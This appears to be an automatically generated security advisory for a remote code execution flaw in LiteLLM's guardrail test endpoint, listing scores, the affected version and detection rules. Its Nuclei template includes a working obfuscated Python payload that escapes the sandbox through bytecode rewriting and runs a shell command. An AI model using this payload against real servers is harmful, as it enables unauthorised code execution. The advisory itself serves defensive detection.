CVE-2026-40217: BerriAI LiteLLM vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-04 15:41 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI.

Description quoted from the CVE record (assigned by mitre, published 2026-04-10).

Weakness: CWE-420 Unprotected Alternate Channel; Improper Control of Generation of Code (‘Code Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 13 references on Exploit Observer

Live scores

EPSS
0.170
likely to be attacked soon
VEDAS
0.945
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
BerriAI LiteLLMversion bb0639701796218a3447160e55c0f1097446e4e6085df7dfd39f476d4143743fNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Vendor guidance:

How to detect it

Nuclei template (active check)

LiteLLM - Code Injection

LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /guardrails/test_custom_code); it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-40217.yaml
Show the template (51 lines)
yaml
id: CVE-2026-40217

info:
  name: "LiteLLM - Code Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the
    /guardrails/test_custom_code URI.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-40217&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-40217
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2026,litellm,guardrail,rce,intrusive,vkev
http:
  - method: POST
    path:
      - "{{BaseURL}}/guardrails/test_custom_code"

    headers:
      Authorization: Bearer {{api_key}}
      Content-Type: application/json
      Accept: application/json

    body: |
      {
        "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
        "test_input": {
          "messages": [
            {
              "role": "user",
              "content": "test"
            }
          ]
        }
      }

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "rce\":", "success\":true")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'status_code == 200'
        condition: and

CVE-2026-40217.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-40217 LiteLLM - Code Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-40217 LiteLLM - Code Injection"; flow:established,to_server; http.uri; content:"/guardrails/test_custom_code"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-40217; reference:url,https://www.exploit.observer/?keyword=CVE-2026-40217&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact; sid:1010168; rev:1;)

CVE-2026-40217.rules on GitHub

Advisories on this CVE

References

Vendor advisories and patches

Technical analysis and advisories

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

Feasible SecurityAskealGoTrust